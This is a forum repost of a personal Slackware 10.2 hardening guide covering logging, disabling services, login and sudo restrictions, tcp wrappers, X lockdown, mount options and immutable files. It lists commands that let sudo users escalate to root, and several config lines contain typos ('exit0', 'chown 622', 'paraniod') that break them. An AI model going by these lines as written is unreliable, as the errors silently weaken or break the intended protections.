Slackware System Hardening

Status
Not open for further replies.

Osiris

Golden Master
Messages
36,817
Location
Kentucky
Slackware System Hardening


$ cat /etc/slackware-version
Slackware 10.2.0


This is a list of some of the steps I take to improve the security on my
Slackware systems. It is by no means a complete list of everything that is
possible. You can either do all of the things listed here, or you can choose
the ones you feel would help secure your system.

WARNING: Hardening a system is a compromise between security
and usability. Some of the things I do would adversely
affect the usability of your system and may very well
break things. Please have one of the following on hand
just in case you lock yourself out of your system:

Tom's Rootboot - http://www.toms.net/rb/

The "Live" CD that comes with the official
version of Slackware

The Slackware Install CDs

You should make a backup of anything that you feel is
important, would be hard to replace, or that you simply
could not do without BEFORE implementing anything listed
here.

If you don't understand what a setting or configuration
is doing, don't use it on your system.

The contents of this document is only meant to be used
on Slackware Linux.

Some of the settings are redundant (defense in depth) or
may conflict.

You have been warned. (i.e. - Don't email me when your
system no longer works.)


Notes:
- The settings assume that only one user is on the system, "dentonj",
adjust as necessary.
- Associated man pages are listed for further information
- I will comment this document if I ever get around to it


----[ Keep Current ]----

TODO

----[ Logging ]----


/etc/rc.d/rc.syslog:
/usr/sbin/syslogd -m 10 -r -h
/usr/sbin/klogd -c 3 -x -p

root@darkstar:~# /etc/rc.d/rc.syslog restart

Watch out for syslog forwarding loops when using both "-r" and "-h".

man syslogd
man klogd

/etc/syslog.conf
# Log everything to a file
*.* - /var/log/messages

# Log everything to a tty (Ctrl-Alt-F12)
*.* /dev/tty12

# Log everything to a log host
*.* @192.168.1.2

# Display emergencies to everyone using wall
*.=emerg *

# Send alerts directly to the user's terminals
*.=alert root,dentonj

root@darkstar:~# /etc/rc.d/rc.syslog restart

man syslogd
man syslog.conf

/etc/logrotate.conf:
weekly
rotate 26
compress

Make sure you have enough hard drive space to store 6 months worth of logs.
You really should be moving the logs off of the system.

man logrotate

/etc/logrotate.d/syslog:
/var/log/cron /var/log/debug /var/log/maillog /var/log/messages
/var/log/secure /var/log/spooler /var/log/sulog /var/log/syslog {
create 0640 root root
mail dentonj@gmail.com
mailfirst
sharedscripts
postrotate
/bin/kill -HUP `cat /var/run/syslogd.pid \
2> /dev/null || true`
endscript
}

man logrotate

/etc/rc.d/rc.S:
# Setup the /etc/motd to reflect the current kernel level:
# THIS WIPES ANY CHANGES YOU MAKE TO /ETC/MOTD WITH EACH BOOT.
# COMMENT THIS OUT IF YOU WANT TO MAKE A CUSTOM VERSION.
# echo "$(/bin/uname -sr)." > /etc/motd

man motd

/etc/motd, /etc/issue.net, /boot/boot_message.txt:

****************************************************************

Unauthorized access prohibited; all access and activities not
explicitly authorized by the administrator are unauthorized.
All activities are monitored and logged. There is no privacy
on this system. Unauthorized access and activities or any
criminal activity will be reported to appropriate authorities.

****************************************************************

Or:

You seem to be lost. Please return to your little corner of the Internet.

root@darkstar:~# lilo -v -p

If lilo returns an error, try to determine what the problem is and rerun
lilo before you reboot the system.

man issue
man motd

/etc/rc.d/rc.local:
# Log icmp packets to syslog
/usr/sbin/icmpinfo -vvv -s -l

man icmpinfo

/sbin/accton:
Account processing is turned on by /etc/rc.d/rc.M. However, the log file
doesn't exist.

root@darkstar:~# touch /var/log/pacct

man ac
man 2 acct
man 5 acct
man accton
man sa
man lastcomm

/etc/rc.d/rc.M:
/usr/sbin/crond -l7 >> /var/log/cron 2>&1

man crond


----[ Disable Daemons/Close Ports ]----


/etc/inetd.conf:
The following are running by default:
time - TCP port 37
time - UDP port 37
auth - TCP port 113
comsat - UDP port 512

Comment out the lines of the services that you don't need.

root@darkstar:~# grep -v "^#" /etc/inetd.conf

man inetd
man in.comsat
man in.identd
man grep

/etc/rc.d/rc.inetd:
root@darkstar:~# /etc/rc.d/rc.inetd stop
root@darkstar:~# chmod a-x /etc/rc.d/rc.inetd

man inetd
man chmod

/usr/X11R6/bin/startx:
defautserverargs="-nolisten tcp"

Closes TCP port 6000+n, where n is $DISPLAY (the default is 0).

man Xserver

/etc/X11/xdm/Xservers:
:0 local /usr/X11R6/bin/X -nolisten tcp

Closes TCP port 6000.

man Xserver
man xdm

/etc/X11/xdm/Xaccess:
Make sure everything is commented.

man xdm

/etc/rc.d/rc.4:
exec /usr/X11R6/bin/xdm -nodaemon -udpPort 0

Closes UDP port 177.

man xdm

/etc/X11/fs/config:
use-syslog = yes
no-listen = tcp

Closes TCP port 7100.

man xfs

/etc/rc.d/rc.inet2:
Most of the rc.scripts are started here. From the script:

"Uncomment or comment out sections depending on which
services you site requires."

There are two ways to stop daemons and services from being started. The
first way is to make the script starting the daemon or service non-
executable:

chmod 600 /etc/rc.d/rc.bind

The second way is to comment out the sections of this script that starts
the daemon or service:

Lines 100-103:
# Start the BIND name server daemon:
# if [ -x /etc/rc.d/rc.bind ]; then
# /etc/rc.d/rc.bind start
# fi

Or you can do both. Using both methods is redundant. However, using both
methods would keep daemons from accidentally being started at the next
reboot if you happen to get sloppy with a chmod command. Some daemons will
not start by default because their configuration files are either not
present or not setup properly.

Comment out the following lines:

Lines 20 - 53: Disable mounting of NFS filesystems
Lines 58 - 60: Disable RPC portmapper
Lines 63 - 68: Disable mount of SMB filesystems
Lines 90 - 92: Disable inetd
Lines 101 - 103: Disable BIND
Lines 106 - 108: Disable NIS
Lines 115 - 117: Disable NFS

/etc/rc.d/rc.M:
Comment out the following lines:

Lines 103 - 105: Disable dnsmasq
Lines 108 - 114: Disable CUPS and lpd
Lines 117 - 119: Disable netatalk
Lines 160 - 162: Disable atd
Lines 194 - 196: Disable saslauthd
Lines 199 - 201: Disable sendmail
Lines 205 - 212: Disable APM and ACPI
Lines 230 - 232: Disable HP Officejet
Lines 235 - 237: Disable MySQL
Lines 240 - 242: Disable Apache
Lines 224 - 226: Disable Samba
Lines 234 - 236: Disable SystemV init scripts

/etc/rc.d/rc.S:
Comment out the following lines:

Lines 16 - 22: Disable hotplug
Lines 39 - 43: Disable udev
Lines 192 - 196: Disable isapnp
Lines 292 - 294: Disable SystemV init scripts

/etc/rc.d/rc.acpid:
Advanced Configuration and Power Interface event daemon

root@darkstar:~# /etc/rc.d/rc.acpid stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.acpid

This daemon doesn't open any ports.

/etc/rc.d/rc.alsa:
Advanced Linux Sound Architecture

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.alsa

This daemon doesn't open any ports.

/etc/rc.d/rc.atalk:
AppleTalk

root@darkstar:~# /etc/rc.d/rc.atalk stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.atalk

Closes TCP port 548.

/etc/rc.d/rc.bind:
BIND

root@darkstar:~# /etc/rc.d/rc.bind stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.bind

Closes TCP ports 53 and 953.
Closes UDP ports 53 and 32768.

/etc/rc.d/rc.cups:
Common UNIX Printing System

root@darkstar:~# /etc/rc.d/rc.cups stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.cups

Closes TCP and UDP port 631.

/etc/rc.d/rc.dnsmasq:
A lightweight DHCP and caching DNS server

root@darkstar:~# /etc/rc.d/rc.dnsmasq stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.dnsmasq

Closes TCP and UDP port 53.

/etc/rc.d/rc.gpm:
General Purpose Mouse

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.gpm

This daemon doesn't open any ports.

/etc/rc.d/rc.hotplug:
Linux hotplugging support scripts

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.hotplug

This daemon doesn't open any ports.

/etc/rc.d/rc.httpd:
Apache webserver

root@darkstar:~# /etc/rc.d/rc.httpd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.httpd

Closes TCP port 80.

/etc/rc.d/rc.inet1:
Configures network interfaces

Make any changes in /etc/rc.d/rc.inet1.conf.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.inet1

/etc/rc.d/rc.inetd:
The Internet daemon

root@darkstar:~# /etc/rc.d/rc.inetd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.inetd

Closes TCP ports 37 and 113 (by default).
Closes UDP ports 37 and 512 (be default).

/etc/rc.d/rc.mysqld:
The MySQL server daemon

By default, mysqld will not start. Read the /etc/rc.d/rc.mysqld file for
details on how to start the daemon.

The script prevents incoming network connections by default with the
"--skip-networking" option. If this option is commented out, TCP port
3306 will be opened.

This daemon doesn't open any ports by default.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.mysqld

/etc/rc.d/rc.nfsd:
The kfnsd NFS daemon

By default, the deamon will not start because the file /etc/exports is not
configured properly.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.nfsd

/etc/rc.d/rc.portmap:
The RPC portmapper

This script is started by /etc/rc.d/rc.nfsd. Since the file /etc/exports
is not configured properly by default, this damon will not start.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.rc.portmap

/etc/rc.d/rc.samba:
The Samba SMB file/print server

By default, the daemon will not start because the file /etc/samba/smb.conf
is not present.

root@darkstar:~# chmod go-rwx /etc/rc.d/rc.samba

/etc/rc.d/rc.saslauthd:
Some plaintext authentication thingy.

root@darkstar:~# /etc/rc.d/rc.saslauthd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.saslauthd

/etc/rc.d/rc.sendmail:
Sendmail

root@darkstar:~# /etc/rc.d/rc.sendmail stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail

Closes TCP ports 25 and 587.

/etc/rc.d/rc.sshd:
The Secure Shell Server

root@darkstar:~# /etc/rc.d/rc.sshd stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sshd

Closes TCP port 22.

/etc/rc.d/rc.syslog:
The system logging daemon

If the "-r" option is used, UDP port 514 is opened.

root@darkstar:~# chmod 600 /etc/rc.d/rc.syslog

/etc/rc.d/rc.sysvinit:
"This file provides basic compatibility with SystemV style startup
scripts."

Unless you have installed a daemon that requires the use of SystemV
style startup scripts, there is no need for it to be executable.

root@darkstar:~# chmod 600 /etc/rc.d/rc.sysvinit

/etc/rc.d/rc.udev:
"udev provides a dynamic device directory containing only the files for
actually present devices. It creates and removes device node files
usually located in the /dev directory."

This is part of the hotplug subsystem.

This daemon doesn't open any ports.

root@darkstar:~# chmod 600 /etc/rc.d/rc.udev

man udev

/etc/rc.d/rc.wireless.conf:
This file holds the configuration settings used by /etc/rc.d/rc.wireless.
The file may hold encryption keys in plain text. Make sure that users
are not able read this file (the default setting).

root@darkstar:~# chmod 600 /etc/rc.d/rc.wireless.conf

/etc/rc.d/rc.yp:
The Network Information Service

The contents of this file is commented out by default.

root@darkstar:~# chmod 600 /etc/rc.d/rc.yp


----[ Limit Access ]----


/etc/rc.d/rc.M:
chmod 1733 /tmp /var/tmp

Prevents users for looking at the contents of those directories. It still
allows them to create, access, and modify files in those directories if
they know the actual file name. This does not stop users from running
executables in /tmp.

dentonj@darkstar:~$ ls -ld /tmp
drwx-wx-wt 5 root root 4096 2001-06-27 12:54 /tmp/
dentonj@darkstar:~$ cp /bin/date /tmp/test
dentonj@darkstar:~$ /tmp/test
Thu Jun 27 12:55:00 MST 2001
dentonj@darkstar:~$ ls /tmp
ls: /tmp: Permission denied

man chmod

/etc/rc.d/rc.S:
chmod 1733 /tmp/.ICE-unix
chmod 1733 /tmp/.X11-unix

Don't let everyone have read access to utmp:

chmod 660 /var/run/utmp

man utmp
man chmod

/etc/lilo.conf:
# Pick one
mandatory
#restricted

# Use the "-p" option to store the hashed password in a separate file
password=""

prompt
timeout=0
menu-title="Unauthorized Access Prohibited"
message=/boot/boot_message.txt
serial=0,9600n8

root@darkstar:~# lilo -v -p
root@darkstar:~# chmod go-rwx /etc/lilo.conf

Using the setting "password=""" and then the "-p" option with lilo will
prompt you to enter a pass phrase while lilo is running. The pass phrase
is hashed and stored in /etc/lilo.conf.shs. The man page for lilo claims
that the hashed pass phrase is stored in /etc/lilo.conf.crc. Either way,
it's better than having the password listed in /etc/lilo.conf in plain
text. The configuration options above will require the password to be
entered whenever the system boots. You may not want to use the "mandatory"
setting if uptime is important or when you normally only access the system
remotely. In these cases, use "restricted" instead.

man lilo
man lilo.conf

/etc/login.access:
+:root dentonj:LOCAL
-:ALL:ALL

Only root and dentonj can login locally. This does not affect logging in
via ssh.

Error generated: "Login incorrect"

man login.access

/etc/login.defs:
FAIL_DELAY 20
DIALUPS_CHECK_ENAB no
LOG_UNKFAIL_ENAB yes
LOG_OK_LOGINS yes
SULOG_FILE /var/log/sulog
ISSUE_FILE /etc/issue
#HUSHLOGIN_FILE
PASS_MAX_DAYS 90
PASS_MIN_LEN 12
CHFN_RESTRICT frwh
DEFAULT_HOME no
#ENVIRON_FILE
#NO_PASSWORD_CONSOLE null
GETPASS_ASTERISKS 5

root@darkstar:~# touch /var/log/btmp
root@darkstar:~# chmod --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# chown --reference=/var/log/wtmp /var/log/btmp
root@darkstar:~# touch /var/log/sulog
root@darkstar:~# ln -s /usr/bin/last /usr/bin/lastb
root@darkstar:~# lastb

Users that try to login by entering their password first will end up with
it being logged in /var/log/btmp and displayed by lastb.

man login.defs
man dpasswd
man last

/etc/suauth:
ALL:ALL EXCEPT dentonj:DENY

Or:

ALL:ALL EXCEPT GROUP wheel:DENY


root@darkstar:~# usermod -g users -G wheel dentonj
root@darkstar:~# chmod go-rwx /etc/suauth

Only dentonj is allowed to switch users. Or only members of the wheel
group can switch users.

Error generated: "Access to su to that account DENIED."
"You are not authorized to su root"

man suauth

/etc/porttime:
tty1,tty2,tty3,tty4,tty5,tty6:root,dentonj:Al0000-2400
*:*:

root@darkstar:~# chmod go-rwx /etc/porttime

The third field specifies when someone can login. If the field is empty,
then the user is not able to login. The "*:*:" entry is a default deny
rule to catch everyone not already listed.

The daemon logoutd is normally run to enforce the login time restrictions
listed in /etc/porttime.

Error generated: "Invalid login time"

man porttime

/etc/rc.d/rc.local:
# Enforce login time restrictions set in /etc/porttime
if [ -x /usr/sbin/logoutd ]; then
/usr/sbin/logoutd
fi

man logoutd

/etc/limits:
dentonj C0L1
* L0

root@darkstar:~# chmod go-rwx /etc/limits

The setting "* L0" is a default rule for anyone not previously listed. The
number of logins permitted is set to zero, which means anyone not
previously listed is not allowed to login. This does not affect root.

Error generated: "Too many logins."

man limits

/etc/shells:
Allowing users to run different shells allows them to bypass any security
restrictions set on their login shell.

Delete the following:
/bin/ash
/bin/csh
/bin/ksh
/bin/tcsh
/bin/zsh

root@darkstar:~# removepkg ash
root@darkstar:~# removepkg ksh93
root@darkstar:~# removepkg tcsh
root@darkstar:~# removepkg zsh

man shells

/usr/sbin/faillog:
root@darkstar:~# faillog -u dentonj -m 10
root@darkstar:~# faillog -a

Don't set faillog for root. This is one of the few settings that can
actually stop root from logging in.

Error generated: "Login incorrect"

man faillog

/etc/password:
root@darkstar:~# find / -user adm -ls
root@darkstar:~# userdel adm

Repeat for the following:
adm
games
gdm
lp
news
operator
pop
rpc
uucp

These don't work by default, so delete them and sync:
root@darkstar:~# su halt
halt: must be superuser.
root@darkstar:~# su shutdown
shutdown: you must be root to do that!
root@darkstar:~# userdel halt
root@darkstar:~# userdel shutdown
root@darkstar:~# userdel sync

Add /bin/false as the shell to the following:
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
mail:x:8:12:mail:/:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
sshd:x:33:33:sshd:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false

Error generated: darkstar login: test
Password: *************************
Linux 2.4.32
Last login: Wed Jun 27 20:23:42 -0700 2001 on tty2
No mail.

Welcome to Linux 2.4.32 (tty2)

darkstar login:

Password aging:
Note: Don't run these if you like to make the /etc/passwd and the
/etc/shadow files immutable (chattr +i ...). It gets ugly... If you
let the password expire, you will not be able to login until you reset
the password. But if the /etc/shadow file is immutable and cannot be
changed, then you will not be able to login. To fix the problem, you
would have to boot tomsrtbt or a Linux boot CD, mount the hard drive
partition where /etc is located, and remove the immutable attribute
from /mnt/etc/shadow (chattr -i ...).

root@darkstar:~# passwd -x 90 -w 7 root
root@darkstar:~# passwd -x 90 -w 7 -i 30 dentonj

root@darkstar:~# for i in `cat /etc/passwd | awk -F: '{print $1}'`; do
> passwd -S $i
> done
root@darkstar:~# pwck

man 1 passwd
man 5 passwd
man find
man userdel
man false
man pwck

/etc/group:
root@darkstar:~# find / -group adm -ls
root@darkstar:~# groupdel adm

Repeat for the following:
adm
lp
news
pop
uucp

root@darkstar:~# grpck

Removing accounts may create a long list of files that no longer belong to
any user or group. If you are interested what they are:

root@darkstar:~# find / -nouser -o -nogroup -ls > unowned.out

Otherwise:

root@darkstar:~# find / -nouser -o -nogroup -exec chown root.root {} \;

man group
man find
man groupdel
man grpck
man chown

/etc/sudoers:
Defaults rootpw
Defaults ! root_sudo
Defaults ignore_dot
Defaults tty_tickets
Defaults requiretty
Defaults path_info
Defaults noexec
%wheel ALL=(ALL) ALL

root@darkstar:~# groups dentonj
root@darkstar:~# usermod -g users -G wheel dentonj

There are a number a security concerns when allowing users to use sudo.
Make sure you completely read the man pages for sudo and sudoers.

There are generally two approaches when configuring sudo. The first is to
allow the user to run any command. This is essentially giving them su
access to root. If you are going to use the first approach, you should
require the user to enter the root password every time they use sudo.

The second approach is to configuring sudo is to only allow a limited
number of commands to be run. If you are going to use the second approach,
there are a few commands that you don't want to allow the user to run.
These commands can be abused to give the user full access to the system.
Make sure you don't add the following or those listed in the Shell Escapes
section below to the /etc/sudoers file:

/bin/cat
/bin/chmod
/bin/chown
/bin/cpio
/bin/mount
/bin/rpm
/bin/tar
/sbin/installpkg
/usr/sbin/useradd
/usr/sbin/usermod

This list should be much longer.

man sudo
man sudoers
man visudo
man groups
man usermod

/etc/ftpusers:
This file is used to deny anyone listed from being able to log into the
local ftp server. Add the following:
bin
daemon
mail
smmsp
mysql
sshd
nobody

Add all system accounts that are present in /etc/passwd.

man ftpusers

/etc/host.conf:
nospoof on
spoofalert on
spoof warn

man host.conf

/etc/hosts.allow:
all:local:banners /etc/banners:allow
sshd:192.168.1.:banners /etc/banners:allow
sendmail:all:banners /etc/banners:allow
all:paraniod:spawn /usr/bin/logger "%d deny paraniod %c %p %a %h %u" \
:banners /etc/banners:deny
all:all:spawn /usr/bin/logger "%d deny %c %p %a %h %u" \
:banners /etc/banners:deny

From `man hosts_options`:
banners /some/directory
Look for a file in `/some/directory` with the same
name as the daemon process (for example in.telnetd
for the telnet service), and copy its contents to
the client.

If you are using any of the services listed below, make sure you add an
allow rule for it. If you want a different banner for a particular
service, delete the link and create a text file with the same name.

root@darkstar:~# mkdir /etc/banners && cd /etc/banners
root@darkstar:/etc/banners# ln -s ../issue.net afpd
root@darkstar:/etc/banners# ln -s ../issue.net imapd
root@darkstar:/etc/banners# ln -s ../issue.net in.identd
root@darkstar:/etc/banners# ln -s ../issue.net in.rexecd
root@darkstar:/etc/banners# ln -s ../issue.net in.rlogind
root@darkstar:/etc/banners# ln -s ../issue.net in.rshd
root@darkstar:/etc/banners# ln -s ../issue.net in.telnetd
root@darkstar:/etc/banners# ln -s ../issue.net popa3d
root@darkstar:/etc/banners# ln -s ../issue.net proftpd
root@darkstar:/etc/banners# ln -s ../issue.net sendmail
root@darkstar:/etc/banners# ln -s ../issue.net sshd
root@darkstar:/etc/banners# ln -s ../issue.net stunnel
root@darkstar:/etc/banners# ln -s ../issue.net vsftpd

root@darkstar:~# cd /usr/sbin; for i in `ls | grep -v "@$"`; do \
echo " $i"; strings $i | grep hosts.allow; done | less

root@darkstar:~# tcpdchk
root@darkstar:~# tcpdmatch sshd localhost
root@darkstar:~# tcpdmatch sshd 1.1.1.1
root@darkstar:~# tcpdmatch sshd 192.168.1.1

man tcpd
man 5 hosts_access
man hosts_options
man tcpdchk
man tcpdmatch

/etc/hosts.deny:
all:all:spawn /usr/bin/logger "Check hosts.allow - %d deny %c %p %a %h %u" \
:banners /etc/banners:deny

man tcpd
man 5 hosts_access
man hosts_options

xdm:
Modify xdm-config and create Xstartup and Xreset so that entries can be
added to utmp and wtmp when a user logs in.

man xdm

/etc/X11/xdm/xdm-config:
DisplayManager._0.startup: /usr/X11R6/lib/X11/xdm/Xstartup
DisplayManager._0.reset: /usr/X11R6/lib/X11/xdm/Xreset
DisplayManager*authorize: true
DisplayManager*authName: XDM-AUTHORIZATION-1 MIT-MAGIC-COOKIE-1
DisplayManager.requestPort: 0

man xdm

/etc/X11/xdm/Xstartup:
#!/bin/sh
#
# Xstartup
# This program is run as root after the user is verified
#
# man xdm
#
if [ -f /etc/nologin ]; then
xmessage -file /etc/nologin -timeout 30 -center
exit 1
fi
sessreg -a -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xserver $LOGNAME
/usr/X11R6/lib/X11/xdm/GiveConsole
exit 0

root@darkstar:~# chmod a+x /etc/X11/xdm/Xstartup

/etc/X11/xdm/Xreset:
#!/bin/sh
#
# Xreset
#
# This program is run as root after the session ends
#
# man xdm
#
sessreg -d -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xservers $LOGNAME
/usr/X11R6/lib/X11/xdm/TakeConsole
exit0

root@darkstar:~# chmod a+x /etc/X11/xdm/Xreset

/etc/X11/xdm/Xresources:
xlogin*greeting: Unauthorized Access Prohibited
xlogin*allowRootLogin: false
xlogin*allowNullPasswd: false

man xdm

/etc/X11/xserver/SecurityPolicy:
Comment the following lines:

# If you are using Motif, you probably want these.
#property _MOTIF_DEFAULT_BINDINGS root ar iw
#property _MOTIF_DRAG_WINDOW root ar iw
#property _MOTIF_DRAG_TARGETS any ar iw
#property _MOTIF_DRAG_ATOMS any ar iw
#property _MOTIF_DRAG_ATOM_PAIRS any ar iw

# If you are running CDE you also need these
#property _MOTIF_WM_INFO root arw
#property TT_SESSION root irw
#property WM_ICON_SIZE root irw
#property "SDT Pixel Set" any irw

# The next two rules let xwininfo -tree work when untrusted.
#property WM_NAME any ar

# Allow read of WM_CLASS, but only for windows with WM_NAME.
# This might be more restrictive than necessary, but demonstrates
# the <required property> facility, and is also an attempt to
# say "top level windows only."
#property WM_CLASS WM_NAME ar

# These next three let xlsclients work untrusted. Think carefully
# before including these; giving away the client machine name and command
# may be exposing too much.
#property WM_STATE WM_NAME ar
#property WM_CLIENT_MACHINE WM_NAME ar
#property WM_COMMAND WM_NAME ar

# To let untrusted clients use the standard colormaps created by
# xstdcmap, include these lines.
#property RGB_DEFAULT_MAP root ar
#property RGB_BEST_MAP root ar
#property RGB_RED_MAP root ar
#property RGB_GREEN_MAP root ar
#property RGB_BLUE_MAP root ar
#property RGB_GRAY_MAP root ar

# To let untrusted clients use the color management database created
# by xcmsdb, include these lines.
#property XDCCC_LINEAR_RGB_CORRECTION root ar
#property XDCCC_LINEAR_RGB_MATRICES root ar
#property XDCCC_GRAY_SCREENWHITEPOINT root ar
#property XDCCC_GRAY_CORRECTION root ar

# To let untrusted clients use the overlay visuals that many vendors
# support, include this line.
#property SERVER_OVERLAY_VISUALS root ar

man Xserver

xhost:
dentonj@darkstar:~$ xhost -
access control enabled, only authorized clients can connect
dentonj@darkstar:~$

If the following line shows up:
INET:localhost

dentonj@darkstar:~$ xhost -localhost

man xhost
man Xsecurity

/opt/kde/share/config/kdm/kdmrc:
[Xdmcp]
Enable=false
Port=0
Willing=

[X-*-Core]
AllowRootLogin=false
AllowNullPasswd=false
AllowShutdown=Root
AllowSdForceNow=Root
UseSessReg=true

[X-:*-Core]
ServerArgsLocal=-nolisten tcp
AllowNullPasswd=false
AllowShutdown=Root
NoPassEnable=false
#NoPassUsers=

[X-:0-Core]
AutoLoginEnable=false
#AutoLoginUser=
#AutoLoginPass=

less /opt/kde/share/doc/kdm/README

/opt/kde/share/config/kdm/Xstartup:
Uncomment the following lines:

chown $USER /dev/console
exec sessreg -a -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER

/opt/kde/share/config/kdm/Xreset:
Uncomment the following lines:

chown root /dev/console
chown 622 /dev/console
exec sessreg -d -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER

/opt/kde/share/config/kdm/Xaccess:
Comment out the following lines:

#* #any host can get a login window
#* CHOOSER BROADCAST #any indirect host can get a chooser



Access Control Lists:

TODO

man acl
man setfacl
man getfacl

/etc/inittab:
Comment out the following line:
#ca::ctraltdel:/sbin/shutdown -t5 -r now

root@darkstar:~# telinit q

[rant]

I actually don't think this is necessary. But I'm including it because
just about every security document on Linux recommends it. It stops anyone
from being able to reboot the system by doing a three finger salute.
Pressing Ctrl-Alt-Del to reboot the system only works if you have physical
access to the system. Even if you disable this feature, it doesn't stop
someone from pulling the power cord or pressing the reset switch to force a
reboot. Most window managers trap Ctrl-Alt-Del anyways.

The only time that I see disabling the above line as being useful is when
you have a Windows admin learning Linux. You don't want them rebooting the
system every time they want to lock the system or go to the Task Manager.

Or you can use /etc/shutdown.allow to control when (not exactly by who) the
system can be rebooted with Ctrl-Alt-Del. There are security concerns with
using this method. Check the man page for shutdown for details.

[/rant]

Add "-a" to the following line to use /etc/shutdown.allow:

ca::ctraltdel:/sbin/shutdown -t5 -r now -a

root@darkstar:~# telinit q

I like to use dumb terminals. Uncomment the following line:
s1:12345:respawn:/sbin/agetty -L ttyS0 9600 vt100

root@darkstar:~# telinit q

man init
man inittab
man initscript
man shutdown
man telinit

/etc/shutdown.allow:
dentonj

man shutdown

/etc/securetty:
Make sure only the following are uncommented:
console
tty1
tty2
tty3
tty4
tty5
tty6

man securetty

umask:
There are several ways to set umask:

/etc/login.defs:
UMASK 077

/etc/limits:
* K077

/etc/profile:
umask 077

Umask controls what the initial permissions are for newly created files and
directories. With a umask of 022, new files have the permissions of 644
and new directories have the permissions of 755. Setting the umask to 077
will result in new files being created with the permissions of 600 and new
directories will have the permissions of 700.

Using the umask of 077 will keep others from being able to access users
files. Using a umask of 022 will allow others access to the users files
unless the users takes the time to change the permissions. You can use
cron to periodically remove permissions to the users home directories.

dentonj@darkstar:~$ type -a umask

man bash
man umask
man login.defs
man limits


----[ Filesystem ]----


/etc/fstab:
/dev/hdb1 swap swap defaults 0 0
/dev/hdb5 / ext3 defaults 1 1
/dev/hdb6 /var ext3 rw,nosuid,nodev 0 2
/dev/hdb7 /tmp ext3 rw,nosuid,nodev,noexec 0 2
/dev/hdb8 /usr ext3 ro 0 2
/dev/hdb9 /home ext3 rw,nosuid,nodev 0 0
/dev/hda1 /mnt/windows vfat rw,nosuid,nodev,noexec,noauto 0 0
/dev/hda2 /mnt/slack ext2 rw,noauto 0 0
/dev/cdrom /mnt/cdrom auto noauto,owner,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner 0 0
devpts /dev/pts devpts gid=5,mode=620 0 0
proc /proc proc defaults 0

root@darkstar:~# mkdir /mnt/windows
root@darkstar:~# mkdir /mnt/slack
root@darkstar:~# mkdir /mnt/floppy
root@darkstar:~# mkdir /mnt/thumb

man fstab
man nfs
man mount

I use to add "noexec" to /home, but that mount option is pretty trivial to
bypass. Besides, I like having a ~/bin directory for my scripts.

/sbin/tune2fs:
Stop fsck from running every 22 boots. This makes fsck only run every 6
months.

root@darkstar:~# tune2fs -l /dev/hdb5
root@darkstar:~# for i in hdb5 hdb6 hdb7 hdb8 hdb9; do
> tune2fs -c 0 /dev/$i
> done
root@darkstar:~# tune2fs -l /dev/hdb5

man tune2fs
man fsck

/usr/bin/chattr:
Make these files immutable:
- init/rc scripts
- shell, environment, login config files
- passwd files
- server config files
- suid/sgid executables
- commonly trojaned executables

for i in `ls /etc/rc.d`; do
chattr +i /etc/rc.d/$i
done

for i in `ls /etc/apache`; do
chattr +i /etc/apache/$i
done

for i in `ls /etc/mail`; do
chattr +i /etc/mail/$i
done

find / -type f \( -perm -4000 -o -perm -2000 \) -exec chattr +i {} \;

chattr +i /etc/at.deny
chattr +i /etc/exports
chattr +i /etc/ftpusers
chattr +i /etc/host.conf
chattr +i /etc/hosts
chattr +i /etc/hosts.allow
chattr +i /etc/hosts.deny
chattr +i /etc/hosts.equiv
chattr +i /etc/hosts.lpd
chattr +i /etc/inetd.conf
chattr +i /etc/inittab
chattr +i /etc/lilo.conf
chattr +i /etc/login.access
chattr +i /etc/login.defs
chattr +i /etc/named.conf
chattr +i /etc/porttime
chattr +i /etc/profile
chattr +i /etc/protocols
chattr +i /etc/securetty
chattr +i /etc/services
chattr +i /etc/suauth
chattr +i /home/dentonj/.forward
chattr +i /home/dentonj/.netrc
chattr +i /home/dentonj/.rhosts
chattr +i /home/dentonj/.shosts

less /usr/local/sbin/chkrootkit
/TROJAN
chattr +i <the commands listed in the variable TROJAN>

This list should be much longer.

root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr

man chattr

lcap:
Remove the CAP_LINUX_IMMUTABLE kernel capability. This prevents the +i
attribute from being removed. I run `lcap` from rc.local. This file is
sourced from the file rc.M. To remove the +i attribute from a file, you'll
have to reboot the system and go into single user mode. This is one of the
few times when you really have to reboot Linux.

If you only access and manage the system remotely, using lcap may cause
problems.

Note: Do this after you are finished with configuring your system.

/etc/rc.d/rc.local:
/usr/local/sbin/lcap CAP_LINUX_IMMUTABLE

root@darkstar:~# touch /tmp/test
root@darkstar:~# chattr +i /tmp/test
root@darkstar:~# lsattr /tmp/test
----i-------- /tmp/test
root@darkstar:~# cd
root@darkstar:~# lcap CAP_LINUX_IMMUTABLE
root@darkstar:~# chattr -i /tmp/test
chattr: Operation not permitted while setting flags on /tmp/test
root@darkstar:~# lcap
Current capabilities: 0xFFFFFCFF
0) *CAP_CHOWN 1) *CAP_DAC_OVERRIDE
2) *CAP_DAC_READ_SEARCH 3) *CAP_FOWNER
4) *CAP_FSETID 5) *CAP_KILL
6) *CAP_SETGID 7) *CAP_SETUID
